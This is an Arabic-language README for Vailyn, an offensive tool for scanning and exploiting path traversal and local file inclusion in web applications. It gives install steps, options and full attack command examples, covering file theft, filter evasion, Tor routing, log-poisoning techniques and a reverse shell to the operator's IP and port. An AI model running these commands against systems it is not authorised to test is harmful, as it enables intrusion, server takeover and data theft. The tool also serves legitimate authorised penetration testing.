
أداة مسح واستغلال متطورة ومتخفية لـ Path Traversal و LFI مع مراحل هجومية مكتوبة بلغة Python

هجمات مسار العبور و LFI متعددة المراحل
Vailyn 3.0
منذ الإصدار 3.0، يدعم Vailyn مغلفات PHP الخاصة بـ LFI في المرحلة الأولى. استخدم
--lfiلتضمينها في المسح.
Vailyn هي أداة تحليل واستغلال ثغرات متعددة المراحل لثغرات مسار العبور وتضمين الملفات. صُممت لتكون بأعلى أداء ممكن، وتقدم مجموعة واسعة من تقنيات تجاوز الفلاتر.
يعمل Vailyn في مرحلتين. أولاً، يتحقق من وجود الثغرة. يفعل ذلك بمحاولة الوصول إلى /etc/passwd (أو ملف يحدده المستخدم)، مع جميع حمولات التهرب الخاصة به. بتحليل الاستجابة، يتم فصل الحمولات التي نجحت عن غيرها.
الآن، يمكن للمستخدم اختيار الحمولات التي يريد استخدامها بحرية. سيتم استخدام هذه الحمولات فقط في المرحلة الثانية.
المرحلة الثانية هي مرحلة الاستغلال. هنا، يحاول تسريب أكبر عدد ممكن من الملفات من الخادم باستخدام قاموس ملفات وقاموس أدلة. يمكن تعديل عمق البحث ومستوى تبديل الدليل عبر الوسائط. اختيارياً، يمكن تنزيل الملفات التي تم العثور عليها وحفظها في مجلد الغنائم. بدلاً من ذلك، سيحاول الحصول على شل عكسي على النظام، مما يمنح المهاجم سيطرة كاملة على الخادم.
حالياً، يدعم العديد من متجهات الهجوم: الحقن عبر الاستعلام، المسار، ملفات تعريف الارتباط، وبيانات POST.
يتم الفصل بين المراحل لتحسين أداء الأداة بشكل كبير. في الإصدارات السابقة، تم فحص كل تركيبة ملف-دليل مع كل حمولة. مما أدى إلى عبء زائد كبير بسبب إعادة استخدام الحمولات دائماً، على الرغم من عدم نجاحها مع الصفحة الحالية.
إصدارات Python الموصى بها والمختبرة هي 3.7+، لكنها يجب أن تعمل بشكل جيد مع Python 3.5 و Python 3.6 أيضاً. لتثبيت Vailyn، قم بتنزيل الأرشيف من علامة التبويب "الإصدارات"، أو نفذ
$ git clone https://github.com/VainlyStrain/Vailyn
بمجرد أن يصبح على نظامك، ستحتاج إلى تثبيت تبعيات Python.
على أنظمة Unix، يكفي تشغيل
$ pip install -r requirements.txt # --user
بعض المكتبات التي يستخدمها Vailyn لا تعمل بشكل جيد مع ويندوز، أو ستفشل في التثبيت.
إذا كنت تستخدم ويندوز، استخدم pip لتثبيت المتطلبات المدرجة في Vailyn\·›\requirements-windows.txt.
إذا فشل تثبيت twisted، فهناك إصدار غير رسمي متاح هنا، والذي يجب أن يتم بناؤه تحت ويندوز. فقط ضع في اعتبارك أن هذا تحميل من طرف ثالث، والسلامة غير مضمونة بالضرورة. بعد نجاح هذا التثبيت، يجب أن يعمل تشغيل pip مرة أخرى على requirements-windows.txt.
إذا كنت تريد استخدام وحدة الشل العكسي بالكامل، ستحتاج إلى تثبيت sshpass و ncat و konsole. تختلف أسماء الحزم حسب توزيعة Linux. على ويندوز، ستحتاج إلى بدء المستمع يدوياً مسبقاً. إذا لم تعجبك konsole، يمكنك تحديد محاكي طرفية مختلف في core/config.py.
هذا كل شيء! شغّل Vailyn بالانتقال إلى دليل تثبيته وتنفيذ
$ python Vailyn -h
لدى Vailyn 3 وسائط إلزامية: -v VIC, -a INT و -p2 TP P1 P2. لكن، اعتماداً على -a، قد تكون هناك حاجة لوسائط إضافية.
, \ / ,
':. \. /\. ./ .:'
':;. :\ .,:/ ''. /; ..::'
',':.,.__.'' ' ' `:.__:''.:'
';.. ,;' *
* '., .:'
`v;. ;v' o
. ' '.. :.' ' .
' ':;, ' '
o ' . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
إلزامي:
-v VIC, --victim VIC الهدف المراد مهاجمته، الجزء 1 [قبل الحمولة]
-a INT, --attack INT نوع الهجوم (عدد صحيح، 1-5، أو A)
A| الزاحف (الكل) 2| المسار 5| بيانات POST، json
P| الزاحف (جزئي) 3| ملف تعريف الارتباط
1| معامل الاستعلام 4| بيانات POST، نص عادي
-p2 TP P1 P2, --phase2 TP P1 P2
الهجوم في المرحلة الثانية، والمعاملات المطلوبة
┌[ القيم ]────────────────┬────────────────────┐
│ TP │ P1 │ P2 │
├─────────┼───────────────┼────────────────────┤
│ leak │ قاموس الملفات │ قاموس الأدلة │
│ inject │ عنوان IP │ منفذ الاستماع │
│ implant │ الملف المصدر │ الوجهة في الخادم │
└─────────┴───────────────┴────────────────────┘
إضافية:
-p PAM, --param PAM معامل الاستعلام أو بيانات POST للهجوم --attack 1, 4, 5
-i F, --check F ملف للتحقق منه في المرحلة الأولى (الافتراضي: etc/passwd)
-Pi VIC2, --vic2 VIC2 الهدف المهاجم، الجزء 2 [بعد الحمولة]
-c C, --cookie C ملف تعريف الارتباط للإرفاق (بتنسيق الرأس)
-l, --loot تنزيل الملفات التي تم العثور عليها إلى مجلد الغنائم
-d I J K, --depths I J K
الأعماق (I: المرحلة 1، J: المرحلة 2، K: مستوى التبديل)
-h, --help عرض قائمة المساعدة هذه والخروج
-s T, --timeout T مهلة الطلب؛ مفتاح ثابت لـ Arjun
-t, --tor توجيه الهجمات عبر شبكة إخفاء الهوية Tor
-L, --lfi استخدام مغلفات PHP إضافية لتسريب الملفات
-n, --nosploit تخطي المرحلة الثانية (لا يحتاج -p2 TP P1 P2)
-P, --precise استخدام العمق الدقيق في المرحلة الأولى (ليس نطاقاً)
-A, --app تشغيل واجهة Qt5 الخاصة بـ Vailyn
تطوير:
--debug عرض كل المسار الذي تم تجربته، حتى 404.
--version طباعة إصدار البرنامج والخروج.
--notmain تجنب تعطل notify2 في استدعاء العملية الفرعية.
معلومات:
لتسريب الملفات باستخدام مسارات مطلقة: -d 0 0 0
للحصول على شل باستخدام مسارات مطلقة: -d 0 X 0
يدعم Vailyn حالياً 5 متجهات هجوم، ويوفر زاحفاً لأتمتتها جميعاً. يتم تحديد الهجوم المنفذ بواسطة الوسيطة -a INT.
INT الهجوم
---- -------
1 هجوم قائم على الاستعلام (https://site.com?file=../../../)
2 هجوم قائم على المسار (https://site.com/../../../)
3 هجوم قائم على ملف تعريف الارتباط (سيجلب ملفات تعريف الارتباط لك)
4 بيانات POST نصية (ELEM1=VAL1&ELEM2=../../../)
5 بيانات POST json ({"file": "../../../"})
A الزاحف جلب وتحليل جميع عناوين URL من الموقع باستخدام جميع المتجهات
P الزاحف الجزئي جلب وتحليل جميع عناوين URL من الموقع باستخدام متجهات محددة فقط
يجب عليك أيضاً تحديد هدف للهجوم. يتم ذلك عبر -v VIC و -Pi VIC2، حيث -v هو الجزء قبل نقطة الحقن، و -Pi هو الباقي.
مثال: إذا كان عنوان URL النهائي يجب أن يبدو كالتالي: https://site.com/download.php?file=<ATTACK>¶m2=necessaryvalue، يمكنك تحديد -v https://site.com/download.php و -Pi ¶m2=necessaryvalue (و -p file، لأن هذا هجوم استعلام).
إذا كنت تريد تضمين مغلفات PHP في المسح (مثل php://filter)، استخدم الوسيطة --lfi. في نهاية المرحلة الأولى، سيتم عرض قائمة اختيار إضافية تحتوي على المغلفات التي نجحت. (إن وجدت)
إذا كان الموقع المهاجم خلف صفحة تسجيل دخول، يمكنك توفير ملف تعريف ارتباط للمصادقة عبر -c COOKIE. إذا كنت تريد الهجوم عبر Tor، استخدم --tor.
هذه هي مرحلة التحليل، حيث يتم فصل الحمولات العاملة عن غيرها.
بشكل افتراضي، يتم البحث عن /etc/passwd. إذا كان الخادم لا يعمل بنظام Linux، يمكنك تحديد ملف مخصص عبر -i FILENAME. لاحظ أنه يجب عليك تضمين الأدلة الفرعية في FILENAME.
يمكنك تعديل عمق البحث بالقيمة الأولى من -d (الافتراضي=8).
إذا كنت تريد استخدام مسارات مطلقة، اضبط العمق الأول على 0.
هذه هي مرحلة الاستغلال، حيث سيحاول Vailyn تسريب أكبر عدد ممكن من الملفات، أو الحصول على شل عكسي باستخدام تقنيات مختلفة.
يتم تحديد عمق البحث في المرحلة الثانية (أقصى عدد من الطبقات التي يتم العبور إليها للخلف) بالقيمة الثانية من الوسيطة -d. يتم تحديد مستوى تبديل الدليل بالقيمة الثالثة من -d.
إذا هاجمت باستخدام مسارات مطلقة وقمت بهجوم التسريب، اضبط جميع الأعماق على 0. إذا كنت تريد الحصول على شل عكسي، تأكد من أن العمق الثاني أكبر من 0.
بتحديد -l، لن يعرض Vailyn الملفات على الطرفية فحسب، بل سيقوم أيضاً بتنزيلها وحفظها في مجلد الغنائم.
إذا كنت تريد إخراجاً مفصلاً (عرض كل المخرجات، وليس فقط الملفات التي تم العثور عليها)، يمكنك استخدام --debug. لاحظ أن الإخراج يصبح فوضويًا جداً، هذا أساساً مجرد مساعدة للتصحيح.
لتنفيذ هجوم القوة العمياء، تحتاج إلى تحديد -p2 leak FIL PATH، حيث
للحصول على شل عكسي عن طريق حقن الكود، يمكنك استخدام -p2 inject IP PORT، حيث
تحذير
يستخدم Vailyn تقنيات تسميم السجلات. لذلك، سيكون عنوان IP الخاص بك مرئياً في سجلات الخادم.
التقنيات (تعمل فقط مع تضمينات LFI):
/proc/self/environ inclusion يعمل فقط على الخوادم القديمةتسميم سجلات Apache + Nginx وتضمينهاتسميم سجلات SSHتضمين البريد المسمومexpect://data:// (نص عادي & b64)php://inputلتمييز النتائج الحقيقية عن النتائج الإيجابية الكاذبة، يقوم Vailyn بالفحوصات التالية:
-a 2، إجراء فحص إضافي إذا كان محتوى الاستجابة يطابق المحتوى من عنوان URL الجذر للخادم/etc/passwd إذا كنت تستخدمه كملف بحثهجوم استعلام بسيط، تسريب الملفات في المرحلة الثانية:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
هجوم استعلام، لكني أعلم أن ملف file.php موجود على بعد مستويين بالضبط فوق نقطة التضمين:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
سيؤدي هذا إلى تقصير مدة المرحلة الأولى كثيراً، لأنه هجوم مستهدف.
هجوم مسار بسيط:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
هجوم مسار، لكني أحتاج معاملات استعلام وعلامة:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
هجوم ملف تعريف ارتباط بسيط:
$ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
سيجلب ملفات تعريف الارتباط ويمكنك تحديد ملف تعريف الارتباط الذي تريد تسميمه
هجوم POST نص عادي:
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
سيصيب DATA2 بالحمولة
هجوم POST JSON:
$ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
هجوم، لكن الهدف خلف شاشة تسجيل دخول:
$ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
هجوم، لكني أريد شل عكسي على المنفذ 1337:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # عمق مرحلة 2 عالي مطلوب لحقن السجل
(سيبدأ مستمع ncat لك إذا كنت على Unix)
أتمتة كاملة في وضع الزاحف:
$ Vailyn -v "http://root-url.site" -a A يمكنك أيضاً تحديد وسائط أخرى، مثل ملف تعريف الارتباط، الأعماق، lfi وملف البحث هنا
أتمتة كاملة، لكن Arjun يحتاج --stable:
$ Vailyn -v "http://root-url.site" -a A -s ANY
إذا وجدت بعض النتائج الإيجابية/السلبية الكاذبة (أو تريد الإشارة إلى أخطاء/تحسينات أخرى): يرجى ترك مشكلة (issue)!
يتم توفير Vailyn كأداة تدقيق تطبيقات ويب هجومية. تحتوي على وظائف مدمجة يمكنها الكشف عن ثغرات محتملة في تطبيقات الويب، والتي يمكن استغلالها بشكل خبيث.
لذلك، لا يتحمل المؤلف ولا المساهمون أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه المجموعة الأدوات.
باستخدام هذا البرنامج، يلتزم المستخدم باتباع قوانين بلده المحلية، وعدم مهاجمة نظام شخص آخر دون إذن صريح من المالك، أو بقصد خبيث.
في حالة حدوث انتهاك، فقط المستخدم النهائي الذي ارتكبه هو المسؤول عن أفعاله.
Vailyn: حقوق النشر © VainlyStrain
Arjun: حقوق النشر © s0md3v
لم يعد Arjun موزعاً مع Vailyn. قم بتثبيت أحدث إصدار له عبر pip.